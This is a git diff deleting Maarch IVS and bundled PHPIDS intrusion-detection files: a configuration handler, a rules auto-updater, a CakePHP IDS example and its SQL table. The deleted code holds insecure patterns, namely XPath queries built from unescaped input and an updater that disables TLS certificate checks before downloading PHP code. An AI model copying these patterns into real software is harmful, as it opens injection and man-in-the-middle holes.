a/apps/maarch_entreprise/tools/maarchIVS/handler/XmlConfigurationHandler.php +++ /dev/null @@ -1,189 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Input Validation System - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class XmlConfigurationHandler - implements ConfigurationHandlerInterface -{ - /** - * The configuration - * @var DOMDocument - */ - protected $configurationDocument; - - /** - * The configuration - * @var DOMXpath - */ - protected $configurationXPath; - - /** - * Load a configuration source - * @param string $configurationSource The xml source file for configuration - * - * @return bool - */ - public function load($configurationSource) - { - $this->configurationDocument = new DOMDocument(); - - $this->configurationDocument->load($configurationSource); - - $this->configurationDocument->xinclude(); - - $this->configurationXPath = new DOMXPath($this->configurationDocument); - - return true; - } - - /** - * Get the validation rule associated with the request - * @param string $method The http method of request - * @param string $path The path of request - * @param array $parameters An associative array of request parameters - * - * @return array $validationRule - */ - public function getValidationRules($method, $path, $parameters=array()) - { - $validationRules = array(); - $query = "//requestDefinition[contains(@method, '$method') and contains('$path', @path)]"; - $requestDefinitionElements = $this->configurationXPath->query($query); - - foreach ($requestDefinitionElements as $requestDefinitionElement) { - if (!$requestDefinitionElement->hasAttribute('validationRule')) { - continue; - } - - $parameterElements = $requestDefinitionElement->getElementsByTagName('parameter'); - - if ($parameterElements->length) { - foreach ($parameterElements as $parameterElement) { - $name = (string) $parameterElement->getAttribute('name'); - $value = (string) $parameterElement->getAttribute('value'); - if (!array_key_exists($name, $parameters)) { - continue 2; - } - - if (!empty($value) && $parameters[$name] != $value) { - continue 2; - } - } - } - - $validationRuleName = $requestDefinitionElement->getAttribute('validationRule'); - if ($validationRule = $this->getValidationRule($validationRuleName)) { - $validationRules[] = $validationRule; - } - } - - return $validationRules; - } - - /** - * Get a validation rule - * @param string $name The name of the rule - * - * @return ValidationRule The validationRule objects to apply - */ - public function getValidationRule($name) - { - if (!$validationRuleElement = $this->configurationXPath->query("//validationRule[@name='$name']")->item(0)) { - return; - } - - $validationRule = new ValidationRule($name); - - if ($validationRuleElement->hasAttribute('mode')) { - $validationRule->mode = $validationRuleElement->getAttribute('mode'); - } - - foreach ($validationRuleElement->getElementsByTagName('parameter') as $parameterElement) { - $validationParameter = $this->getValidationParameter($parameterElement); - $validationRule->parameters[$validationParameter->name] = $validationParameter; - } - - if ($validationRuleElement->hasAttribute('extends')) { - if ($baseValidationRule = $this->getValidationRule($validationRuleElement->getAttribute('extends'))) { - $validationRule->extend($baseValidationRule); - } - } - - return $validationRule; - } - - /** - * Get a data type - * @param string $name The rule name - * - * @return object $dataType - */ - public function getDataType($name) - { - if (!$dataTypeElement = $this->configurationXPath->query("//dataType[@name='$name']")->item(0)) { - return; - } - - $name = $dataTypeElement->getAttribute('name'); - $base = $dataTypeElement->getAttribute('base'); - - $dataType = new DataType($name, $base); - - $dataType->restriction = $this->getRestriction($dataTypeElement); - - return $dataType; - } - - protected function getValidationParameter($parameterElement) - { - $name = $parameterElement->getAttribute('name'); - $type = $parameterElement->getAttribute('type'); - $validationParameter = new ValidationParameter($name, $type); - - if ($parameterElement->hasAttribute('fixed')) { - $validationParameter->fixed = $parameterElement->getAttribute('fixed'); - } - - // If base type, use restrictions - if (in_array($type, ValidationEngine::$baseTypes) && $parameterElement->getElementsByTagName('*')->length) { - $validationParameter->restriction = $this->getRestriction($parameterElement); - } - - return $validationParameter; - } - - protected function getRestriction($element) - { - $dataTypeRestriction = new DataTypeRestriction(); - - foreach ($element->getElementsByTagName('*') as $facetElement) { - $name = $facetElement->nodeName; - $value = $facetElement->getAttribute('value'); - $dataTypeRestriction->addFacet($name, $value); - } - - return $dataTypeRestriction; - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/LICENSE b/apps/maarch_entreprise/tools/phpids/LICENSE deleted file mode 100755 index fc8a5de7edf437cdc98a216370faf7c757279bcb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/LICENSE +++ /dev/null @@ -1,165 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - - This version of the GNU Lesser General Public License incorporates -the terms and conditions of version 3 of the GNU General Public -License, supplemented by the additional permissions listed below. - - 0. Additional Definitions. - - As used herein, "this License" refers to version 3 of the GNU Lesser -General Public License, and the "GNU GPL" refers to version 3 of the GNU -General Public License. - - "The Library" refers to a covered work governed by this License, -other than an Application or a Combined Work as defined below. - - An "Application" is any work that makes use of an interface provided -by the Library, but which is not otherwise based on the Library. -Defining a subclass of a class defined by the Library is deemed a mode -of using an interface provided by the Library. - - A "Combined Work" is a work produced by combining or linking an -Application with the Library. The particular version of the Library -with which the Combined Work was made is also called the "Linked -Version". - - The "Minimal Corresponding Source" for a Combined Work means the -Corresponding Source for the Combined Work, excluding any source code -for portions of the Combined Work that, considered in isolation, are -based on the Application, and not on the Linked Version. - - The "Corresponding Application Code" for a Combined Work means the -object code and/or source code for the Application, including any data -and utility programs needed for reproducing the Combined Work from the -Application, but excluding the System Libraries of the Combined Work. - - 1. Exception to Section 3 of the GNU GPL. - - You may convey a covered work under sections 3 and 4 of this License -without being bound by section 3 of the GNU GPL. - - 2. Conveying Modified Versions. - - If you modify a copy of the Library, and, in your modifications, a -facility refers to a function or data to be supplied by an Application -that uses the facility (other than as an argument passed when the -facility is invoked), then you may convey a copy of the modified -version: - - a) under this License, provided that you make a good faith effort to - ensure that, in the event an Application does not supply the - function or data, the facility still operates, and performs - whatever part of its purpose remains meaningful, or - - b) under the GNU GPL, with none of the additional permissions of - this License applicable to that copy. - - 3. Object Code Incorporating Material from Library Header Files. - - The object code form of an Application may incorporate material from -a header file that is part of the Library. You may convey such object -code under terms of your choice, provided that, if the incorporated -material is not limited to numerical parameters, data structure -layouts and accessors, or small macros, inline functions and templates -(ten or fewer lines in length), you do both of the following: - - a) Give prominent notice with each copy of the object code that the - Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the object code with a copy of the GNU GPL and this license - document. - - 4. Combined Works. - - You may convey a Combined Work under terms of your choice that, -taken together, effectively do not restrict modification of the -portions of the Library contained in the Combined Work and reverse -engineering for debugging such modifications, if you also do each of -the following: - - a) Give prominent notice with each copy of the Combined Work that - the Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the Combined Work with a copy of the GNU GPL and this license - document. - - c) For a Combined Work that displays copyright notices during - execution, include the copyright notice for the Library among - these notices, as well as a reference directing the user to the - copies of the GNU GPL and this license document. - - d) Do one of the following: - - 0) Convey the Minimal Corresponding Source under the terms of this - License, and the Corresponding Application Code in a form - suitable for, and under terms that permit, the user to - recombine or relink the Application with a modified version of - the Linked Version to produce a modified Combined Work, in the - manner specified by section 6 of the GNU GPL for conveying - Corresponding Source. - - 1) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (a) uses at run time - a copy of the Library already present on the user's computer - system, and (b) will operate properly with a modified version - of the Library that is interface-compatible with the Linked - Version. - - e) Provide Installation Information, but only if you would otherwise - be required to provide such information under section 6 of the - GNU GPL, and only to the extent that such information is - necessary to install and execute a modified version of the - Combined Work produced by recombining or relinking the - Application with a modified version of the Linked Version. (If - you use option 4d0, the Installation Information must accompany - the Minimal Corresponding Source and Corresponding Application - Code. If you use option 4d1, you must provide the Installation - Information in the manner specified by section 6 of the GNU GPL - for conveying Corresponding Source.) - - 5. Combined Libraries. - - You may place library facilities that are a work based on the -Library side by side in a single library together with other library -facilities that are not Applications and are not covered by this -License, and convey such a combined library under terms of your -choice, if you do both of the following: - - a) Accompany the combined library with a copy of the same work based - on the Library, uncombined with any other library facilities, - conveyed under the terms of this License. - - b) Give prominent notice with the combined library that part of it - is a work based on the Library, and explaining where to find the - accompanying uncombined form of the same work. - - 6. Revised Versions of the GNU Lesser General Public License. - - The Free Software Foundation may publish revised and/or new versions -of the GNU Lesser General Public License from time to time. Such new -versions will be similar in spirit to the present version, but may -differ in detail to address new problems or concerns. - - Each version is given a distinguishing version number. If the -Library as you received it specifies that a certain numbered version -of the GNU Lesser General Public License "or any later version" -applies to it, you have the option of following the terms and -conditions either of that published version or of any later version -published by the Free Software Foundation. If the Library as you -received it does not specify a version number of the GNU Lesser -General Public License, you may choose any version of the GNU Lesser -General Public License ever published by the Free Software Foundation. - - If the Library as you received it specifies that a proxy can decide -whether future versions of the GNU Lesser General Public License shall -apply, that proxy's public statement of acceptance of any version is -permanent authorization for you to choose that version for the -Library. diff --git a/apps/maarch_entreprise/tools/phpids/build.xml b/apps/maarch_entreprise/tools/phpids/build.xml deleted file mode 100755 index 669d218445b57d349eb9cd2e500279ba31c5e395..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/build.xml +++ /dev/null @@ -1,72 +0,0 @@ -<project name="PHPIDS" default="tests"> - <target name="tests" unless="tests.disabled"> - <exec executable="phpunit" failonerror="true"> - <arg line="--verbose"/> - <arg line="tests/allTests.php"/> - </exec> - </target> - - <target name="docs"> - <phpdoc - title="PHPIDS documentation" - destdir="docs" - quiet="true" - sourcecode="true" - output="Html:frames:default" - defaultpackagename="PHPIDS" - defaultcategoryname="PHPIDS"> - <fileset dir="lib"> - <include name="**/*.php"/> - </fileset> - </phpdoc> - </target> - - <target name="revert"> - <exec executable="svn"> - <arg value="revert"/> - <arg value="-R"/> - <arg value="${basedir}"/> - </exec> - </target> - - <target - name="release" - if="release.version" - depends="revert,tests,release.version,release.tarball,release.checksum" - description="Create release tarball and checksums. Use -Drelease.version=<version>"/> - - <target name="release.version" if="release.version"> - <replace dir="lib/IDS" value="${release.version}"> - <include name="**/*.php"/> - <replacetoken>@@phpIdsVersion@@</replacetoken> - </replace> - </target> - - <target name="release.tarball" if="release.version"> - <property name="release.name" value="phpids-${release.version}"/> - <property name="release.tarball.bzip2" value="${release.name}.tar.bz2"/> - <property name="release.tarball.gzip" value="${release.name}.tar.gz"/> - <property name="release.tarball.zip" value="${release.name}.zip"/> - <property name="release.excludes" value="phpids-*"/> - <tar destfile="${release.tarball.bzip2}" compression="bzip2" excludes="${release.excludes}" longfile="gnu"> - <tarfileset dir="${basedir}" prefix="${release.name}" excludes="${release.excludes}"/> - </tar> - <tar destfile="${release.tarball.gzip}" compression="gzip" longfile="gnu"> - <tarfileset dir="${basedir}" prefix="${release.name}" excludes="${release.excludes}"/> - </tar> - <zip destfile="${release.tarball.zip}" excludes="${release.excludes}"> - <zipfileset dir="${basedir}" prefix="${release.name}" excludes="${release.excludes}"/> - </zip> - </target> - - <target name="release.checksum"> - <checksum file="${release.tarball.bzip2}" algorithm="sha1"/> - <checksum file="${release.tarball.bzip2}" algorithm="md5"/> - - <checksum file="${release.tarball.gzip}" algorithm="sha1"/> - <checksum file="${release.tarball.gzip}" algorithm="md5"/> - - <checksum file="${release.tarball.zip}" algorithm="sha1"/> - <checksum file="${release.tarball.zip}" algorithm="md5"/> - </target> -</project> diff --git a/apps/maarch_entreprise/tools/phpids/docs/autoupdate/l_phpidsUpdate.php b/apps/maarch_entreprise/tools/phpids/docs/autoupdate/l_phpidsUpdate.php deleted file mode 100755 index 7d8b64c81f89cac91a282afca44592a579d68286..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/autoupdate/l_phpidsUpdate.php +++ /dev/null @@ -1,309 +0,0 @@ -<?php -/*--------------------------------------------------------------------------+ -This file is part of eStudy. -- Modulgruppe: PHP-IDS -- Beschreibung: Klasse für das automatische aktualisieren der PHP-IDS Regeln -- Version: 0.2, 20-06-2011 -- Autor(en): Matthias Hecker <matthias.hecker@mni.fh-giessen.de> - modified: Sami Mußbach <mussbach@uni.lueneburg.de> -+---------------------------------------------------------------------------+ -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -as published by the Free Software Foundation; either version 2 -of the License, or any later version. -+---------------------------------------------------------------------------+ -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. -+--------------------------------------------------------------------------*/ - -class l_phpidsUpdate { - const FILENAME_RULES = "default_filter.xml"; - const FILENAME_CONVERTER = "Converter.php"; - - /** - * Url returns SHA-1 Hash of the current version - * @var string - */ - const HASH_BASE_URL = "https://phpids.org/hash.php?f="; - - /** - * The base url of the rules and converter file - * @var string - */ - const DOWNLOAD_BASE_URL = "https://dev.itratos.de/projects/php-ids/repository/raw/trunk/lib/IDS/"; - - /** - * Base URL for retreiving last modification information. %s -> filename - * @var string - */ - const FEED_BASE_URL = "http://dev.itratos.de/projects/php-ids/repository/revisions/1/revisions/trunk/%s?format=atom"; - - /** - * Path to phpids library - * @var string - */ - private $phpids_base; - - /** - * Cache for remote file hashes - * @var string - */ - private $hash_cache; - - public function __construct () { - $this->phpids_base = "YOUR_PATH_TO/phpids/lib/IDS/"; - $this->hash_cache = array(); - } - - private function fetchUrl($url) { - $curl = curl_init(); - - curl_setopt($curl, CURLOPT_URL, $url); - curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); - - // phpids is using cacert - curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); - - $data = curl_exec($curl); - - if ($data === false) { - try{ - throw new Exception("PHPIDS-Update: Some error occurred: ".curl_error($curl)); - } catch (Exception $e){ - return false; - } - } - - curl_close($curl); - - return $data; - } - - /** - * Perform a Rule and Converter update if necessary - * - * @return boolean returns false if an error occured - */ - public function update() { - $ok = true; - - // perform updates... - $ok = $this->updateFile(self::FILENAME_RULES); - - if ($ok) - $ok = $this->updateFile(self::FILENAME_CONVERTER); - - return $ok; - } - - /** - * Download current file and replaces local - * - * @param string FILENAME_RULES or FILENAME_CONVERTER - */ - private function updateFile($filename) { - // fetch remote file: - $file_contents = $this->fetchUrl(self::DOWNLOAD_BASE_URL.$filename); - - if ($file_contents === false) return false; - - if (sha1($file_contents) != $this->getCurrentFileHash($filename)) { - try{ - throw new Exception("PHPIDS-Update: SHA1-hash of the downloaded file ($filename) is incorrect! (Download failed or Man-in-the-Middle). SHA1 of the file in the trunk: ".sha1($file_contents).", SHA1, provided by phpids.org: ".$this->getCurrentFileHash($filename)); - } catch (Exception $e){ - return false; - } - } - - if (strlen($file_contents) <= 100) { - return false; - } - - // overwrite file contents - if (!file_put_contents($this->phpids_base.$filename, $file_contents)) { - return false; - } - - return true; - } - - /** - * Retreive current SHA-1 hash from php-ids.org - * - * @param string FILENAME_RULES or FILENAME_CONVERTER - * @return mixed SHA-1 hash or false if unavailible - */ - private function getCurrentFileHash($filename) { - if (!empty($hash_cache[$filename])) { - return $hash_cache[$filename]; - } - - $url = self::HASH_BASE_URL.$filename; - - $hash_response = $this->fetchUrl($url); - if ($hash_response === false) return false; - $hash = trim($hash_response); - - if (preg_match("/^[0-9a-f]{40}$/", $hash)) { - $hash_cache[$filename] = $hash; - return $hash; - } else { - return false; - } - } - - /** - * Generate SHA-1 hash for local files - * - * @param string FILENAME_RULES or FILENAME_CONVERTER - * @return mixed SHA-1 hash of local file or false if file does not exists - */ - private function getLocalFileHash($filename) { - $path = $this->phpids_base . $filename; - if (file_exists($path)) { - return sha1_file($path); - } else { - return false; - } - } - - /** - * Compare local and remote version of ids rules. - * - * @return boolean returns true if rules are uptodate. - */ - public function isRulesUpdated() { - if ($this->getCurrentFileHash(self::FILENAME_RULES) == - $this->getLocalFileHash(self::FILENAME_RULES)) { - return true; - } else { - return false; - } - } - - /** - * Compare local and remote version of ids converter. - * - * @return boolean returns true if rules are uptodate. - */ - public function isConverterUpdated() { - if ($this->getCurrentFileHash(self::FILENAME_CONVERTER) == - $this->getLocalFileHash(self::FILENAME_CONVERTER)) { - return true; - } else { - return false; - } - } - - /** - * Check for existing rules and converter and for write permissions - * - * @return boolean returns true if both files are writable - */ - public function isWritable() { - if (file_exists($this->phpids_base.self::FILENAME_RULES) && - is_writable($this->phpids_base.self::FILENAME_RULES) && - file_exists($this->phpids_base.self::FILENAME_CONVERTER) && - is_writable($this->phpids_base.self::FILENAME_CONVERTER)) { - return true; - } else { - return false; - } - - } - - /** - * Returns a date string with last time the rules file was modified - * @return string - */ - private function getLastRulesUpdate() { - return date("d.m.Y H:i", filectime($this->phpids_base.self::FILENAME_RULES)); - } - - /** - * Returns a date string with last time the rules file was modified - * @return string - */ - private function getLastConverterUpdate() { - return date("d.m.Y H:i", filectime($this->phpids_base.self::FILENAME_CONVERTER)); - } - - /** - * Show version status table - */ - public function showVersionStatus() { - $update_needed = false; - - $output = "<table class='tableBorder'>"; - $output .= "<tr><td class='tableHead' colspan='2'>IDS Version</td></tr>"; - - $output .= "<tr><td class='tableCell' valign='top'>Filter:</td>\n<td class='tableCell'>"; - if ($this->isRulesUpdated()) { - $output .= "<span style='color: green;'>aktuell.</span>"; - } else { - $output .= "<span style='color: red;'>nicht aktuell.</span>"; - $update_needed = true; - } - $output .= "<br />Letzte lokale Änderung: <strong>".$this->getLastRulesUpdate()."</strong><br />"; - $output .= "Letzte Änderung auf php-ids.org: <strong>".$this->getLastFileUpdate(self::FILENAME_RULES)."</strong><br />"; - $output .= "SHA-1 Hash: <br /> <code>".$this->getLocalFileHash(self::FILENAME_RULES)."</code>"; - if (!$this->isRulesUpdated()) { - $output .= "(local)<br /> <code>".$this->getCurrentFileHash(self::FILENAME_RULES)."</code>(remote)"; - } - $output .= "</td></tr>"; - - $output .= "<tr><td class='tableCell' valign='top'>Converter:</td>\n<td class='tableCell'>"; - if ($this->isConverterUpdated()) { - $output .= "<span style='color: green;'>aktuell.</span>"; - } else { - $output .= "<span style='color: red;'>nicht aktuell.</span>"; - $update_needed = true; - } - $output .= "<br />Letzte lokale Änderung: <strong>".$this->getLastConverterUpdate()."</strong><br />"; - $output .= "Letzte Änderung auf php-ids.org: <strong>".$this->getLastFileUpdate(self::FILENAME_CONVERTER)."</strong><br />"; - $output .= "SHA-1 Hash: <br /> <code>".$this->getLocalFileHash(self::FILENAME_CONVERTER)."</code>"; - if (!$this->isConverterUpdated()) { - $output .= "(local)<br /> <code>".$this->getCurrentFileHash(self::FILENAME_CONVERTER)."</code>(remote)"; - } - $output .= "</td></tr>"; - - // is update possible? - if (!$this->isRulesUpdated() || !$this->isConverterUpdated()) { - $output .= "<tr><td class='tableCell'> </td>\n<td class='tableCell'>"; - if ($this->isWritable() && function_exists("curl_init")) { - $output .= "<form method='POST'>"; - $output .= "<input type='submit' name='update_phpids' value='Automatisch Aktualisieren' />"; - $output .= "</form>"; - } else { - $output .= "Kein automatisches Update verfügbar. (Dateien beschreibbar/ Curl-Extension verfügbar?)"; - } - $output .= "</td></tr>"; - } - - $output .= "</table>"; - - return $output; - } - - /** - * Returns last - * - * @param string filename - * @return mixed date of last change or if an error occured, false - */ - private function getLastFileUpdate($filename) { - $feed_url = sprintf(self::FEED_BASE_URL, $filename); - - $content = $this->fetchUrl($feed_url); - if (preg_match("/<pubDate>([^<]+)<\/pubDate>/", $content, $match)) { - return date("d.m.Y H:i", strtotime($match[1])); - } else { - return false; - } - } -} diff --git a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/README b/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/README deleted file mode 100755 index d84cf2fdb84af42e1e23de0e489019de53b802d5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/README +++ /dev/null @@ -1,20 +0,0 @@ -PHPIDS - -Requirements: PHP5, SimpleXML - -Copyright (c) 2010 PHPIDS (http://php-ids.org) - -This program is free software; you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation; version 2 of the license. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - - -== IMPORTANT == -Please read header comments in ids.php for further information on how to -install this software -== IMPORTANT == \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/ids.php b/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/ids.php deleted file mode 100755 index df318443d1356643f269a7c2c9a6d770b1fb9a97..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/ids.php +++ /dev/null @@ -1,274 +0,0 @@ -<?php - -/** - * PHP IDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS - */ - -/** - * HOWTO - CakePHP with PHPIDS in ten steps - * - * 0. Install the intrusion table with the intrusions.sql - * 1. Place the phpids core files (see IDS/lib) in you vendors folder: - * vendors/ - * phpids/ - * IDS/ - * Caching/.. - * Config/.. - * Filter/... - * Log/... - * tmp/... (this folder needs write access!) - * Converter.php - * Event.php - * Monitor.php - * Report.php - * default_filter.xml - * - * 2. Place the intrusion.php in your model folder - * 3. Add component ids to app_controller.php components like this: - * - * var $components = array('RequestHandler', 'Ids', ...); - * - * 4. Place the ids.php in you controllers/components folder - * 5. Add the following code to the app_controller.php - right - * beneath the function head of beforeFilter(): - * - * //BOF - * $bare = isset($this->params['bare'])?$this->params['bare']:0; - * if(($bare === 0 || $this->RequestHandler->isAjax()) && DEBUG == 0 && ADMIN == 0) { - * $this->Ids->detect($this); - * } - * //EOF - * - * 6. Make sure DEBUG and ADMIN are 0 if you want to test - * 7. Customize some stuff in the Config/Config.ini if you like - * 8. Inject some XSS via URL or an arbitrary form of your webapp - * 9. Please make sure you tested the use of the PHPIDS before you go live - * - * If you have problems getting the PHPIDS to work just drop us a line via our forum - * - * http://forum.php-ids.org/ - * - */ - -/** - * The CakePHP IDS component - * - * @package PHPIDS - */ -class IdsComponent extends Object { - - /** - * define the threshold for the ids reactions - */ - private $threshold = array( - 'log' => 3, - 'mail' => 9, - 'warn' => 27, - 'kick' => 81 - ); - - /** - * define the email addresses for idsmail - */ - private $email = array( - 'address1@what.ever', - 'address2@what.ever' - ); - - /** - * the init object - */ - private $init = NULL; - - /** - * This function includes the IDS vendor parts and runs the - * detection routines on the request array. - * - * @param object cake controller object - * @return boolean - */ - public function detect(&$controller) { - - $this->controller = &$controller; - $this->name = Inflector::singularize($this->controller->name); - - #set include path for IDS and store old one - $path = get_include_path(); - set_include_path( VENDORS . 'phpids/'); - - #require the needed files - vendor('phpids/IDS/Init'); - - #add request url and user agent - $_REQUEST['IDS_request_uri'] = $_SERVER['REQUEST_URI']; - if (isset($_SERVER['HTTP_USER_AGENT'])) { - $_REQUEST['IDS_user_agent'] = $_SERVER['HTTP_USER_AGENT']; - } - - #init the PHPIDS and pass the REQUEST array - $this->init = IDS_Init::init(); - $ids = new IDS_Monitor($_REQUEST, $this->init); - $result = $ids->run(); - - // Re-set include path - set_include_path($path); - - if (!$result->isEmpty()) { - $this->react($result); - } - - return true; - } - - /** - * This function rects on the values in - * the incoming results array. - * - * Depending on the impact value certain actions are - * performed. - * - * @param IDS_Report $result - * @return boolean - */ - private function react(IDS_Report $result) { - - $new = $this->controller - ->Session - ->read('IDS.Impact') + $result->getImpact(); - - - $this->controller->Session->write('IDS.Impact', $new); - $impact = $this->controller->Session->read('IDS.Impact'); - - if ($impact >= $this->threshold['kick']) { - $this->idslog($result, 3, $impact); - $this->idsmail($result); - $this->idskick($result); - return true; - } else if ($impact >= $this->threshold['warn']) { - $this->idslog($result, 2, $impact); - $this->idsmail($result); - $this->idswarn($result); - return true; - } else if ($impact >= $this->threshold['mail']) { - $this->idslog($result, 1, $impact); - $this->idsmail($result); - return true; - } else if ($impact >= $this->threshold['log']) { - $this->idslog($result, 0, $impact); - return true; - } else { - return true; - } - } - - /** - * This function writes an entry about the intrusion - * to the intrusion database - * - * @param array $results - * @return boolean - */ - private function idslog($result, $reaction = 0) { - - $user = $this->controller - ->Session->read('User.id') ? - $this->controller->Session->read('User.id') : - 0; - - $ip = ($_SERVER['SERVER_ADDR'] != '127.0.0.1') ? - $_SERVER['SERVER_ADDR'] : - (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? - $_SERVER['HTTP_X_FORWARDED_FOR'] : - '127.0.0.1'); - - foreach ($result as $event) { - $data = array( - 'Intrusion' => array( - 'name' => $event->getName(), - 'value' => stripslashes($event->getValue()), - 'page' => $_SERVER['REQUEST_URI'], - 'userid' => $user, - 'session' => session_id() ? session_id() : '0', - 'ip' => $ip, - 'reaction' => $reaction, - 'impact' => $result->getImpact() - ) - ); - } - - loadModel('Intrusion'); - $intrusion = new Intrusion; - $saveable = array( - 'name', 'value', 'page', 'userid', - 'session', 'ip', 'reaction', 'impact' - ); - $intrusion->save($data, false, $saveable); - - return true; - } - - /** - * This function sends out a mail - * about the intrusion including the intrusion details - * - * @param array $results - * @return boolean - */ - private function idsmail($result) { - - vendor('phpids/IDS/Log/Email.php'); - vendor('phpids/IDS/Log/Composite.php'); - - $compositeLog = new IDS_Log_Composite(); - $compositeLog->addLogger( - IDS_Log_Email::getInstance( - $this->init->config['IDS_Logging']['recipient'], - $this->config['IDS_Logging']['subject'], - NULL, //optional headers - $this->init->config['IDS_Logging']['safemode'], - $this->init->config['IDS_Logging']['allowed_rate'], - $this->init->config['IDS_Basic']['tmp_path'] - ) - ); - - if (!$result->isEmpty()) { - $compositeLog->execute($result); - } - - return true; - } - - /** - * //todo - * - * - */ - private function idswarn($result) { - return $result; - } - - /** - * //todo - * - * - */ - private function idskick($result) { - return $result; - } -} diff --git a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/intrusion.php b/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/intrusion.php deleted file mode 100755 index 5f4fafb4d92feeeeab78e07a3582f09c19d2ed19..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/intrusion.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php -/** - * PHP IDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -class Intrusion extends AppModel { - //nothing to do here - unless you want to -} diff --git a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/intrusions.sql b/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/intrusions.sql deleted file mode 100755 index e9fa9f3765405d0737ff9636b9b667f6ea9b73fe..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/examples/cakephp/intrusions.sql +++ /dev/null @@ -1,30 +0,0 @@ -/** - * PHP IDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -CREATE TABLE `intrusions` ( - `id` int(11) unsigned NOT NULL auto_increment, - `name` varchar(128) NOT NULL, - `value` text NOT NULL, - `page` varchar(255) NOT NULL, - `userid` int(11) unsigned NOT NULL, - `session` varchar(32) NOT NULL, - `ip` varchar(15) NOT NULL, - `reaction` tinyint(3) unsigned NOT NULL COMMENT '0 = log; 1 = mail; 2 = warn; 3 = kick;', - `impact` int(11) unsigned NOT NULL, - `created` datetime NOT NULL, - PRIMARY KEY (`id`) -); diff --git a/apps/maarch_entreprise/tools/phpids/docs/examples/example.php b/apps/maarch_entreprise/tools/phpids/docs/examples/example.php deleted file mode 100755 index 5ad76d6e3663be49b041bd9c1c4af7fabade151e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/examples/example.php +++ /dev/null @@ -1,124 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -// set the include path properly for PHPIDS -set_include_path( - get_include_path() - . PATH_SEPARATOR - . '../../lib/' -); - -if (!session_id()) { - session_start(); -} - -require_once 'IDS/Init.php'; - -try { - - /* 